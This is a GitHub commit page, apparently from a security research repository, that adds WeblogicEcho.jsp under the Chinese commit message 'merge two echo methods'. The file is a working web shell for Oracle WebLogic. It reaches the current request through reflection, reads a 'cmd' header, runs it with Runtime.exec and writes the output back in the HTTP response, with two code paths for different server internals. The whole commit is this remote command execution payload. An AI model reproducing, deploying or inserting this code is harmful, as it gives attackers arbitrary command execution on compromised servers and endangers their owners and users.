Skip to content

Commit 421456d

Browse files
author
feihong
committed
将 2 种回显方式进行合并
1 parent ff49a6e commit 421456d

3 files changed

Lines changed: 29 additions & 0 deletions

File tree

weblogic/code/WeblogicEcho.jsp

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2+
<%
3+
weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork();
4+
if(adapter.getClass().getName().endsWith("ServletRequestImpl")){
5+
String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, "cmd");
6+
7+
if(cmd != null && !cmd.isEmpty()){
8+
String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
9+
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter);
10+
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
11+
res.getServletOutputStream().flush();
12+
res.getWriter().write("");
13+
}
14+
}else{
15+
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
16+
field.setAccessible(true);
17+
Object obj = field.get(adapter);
18+
obj = obj.getClass().getMethod("getServletRequest").invoke(obj);
19+
String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd");
20+
21+
if(cmd != null && !cmd.isEmpty()){
22+
String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
23+
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj);
24+
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
25+
res.getServletOutputStream().flush();
26+
res.getWriter().write("");
27+
}
28+
}
29+
%>
File renamed without changes.
File renamed without changes.

0 commit comments

Comments
 (0)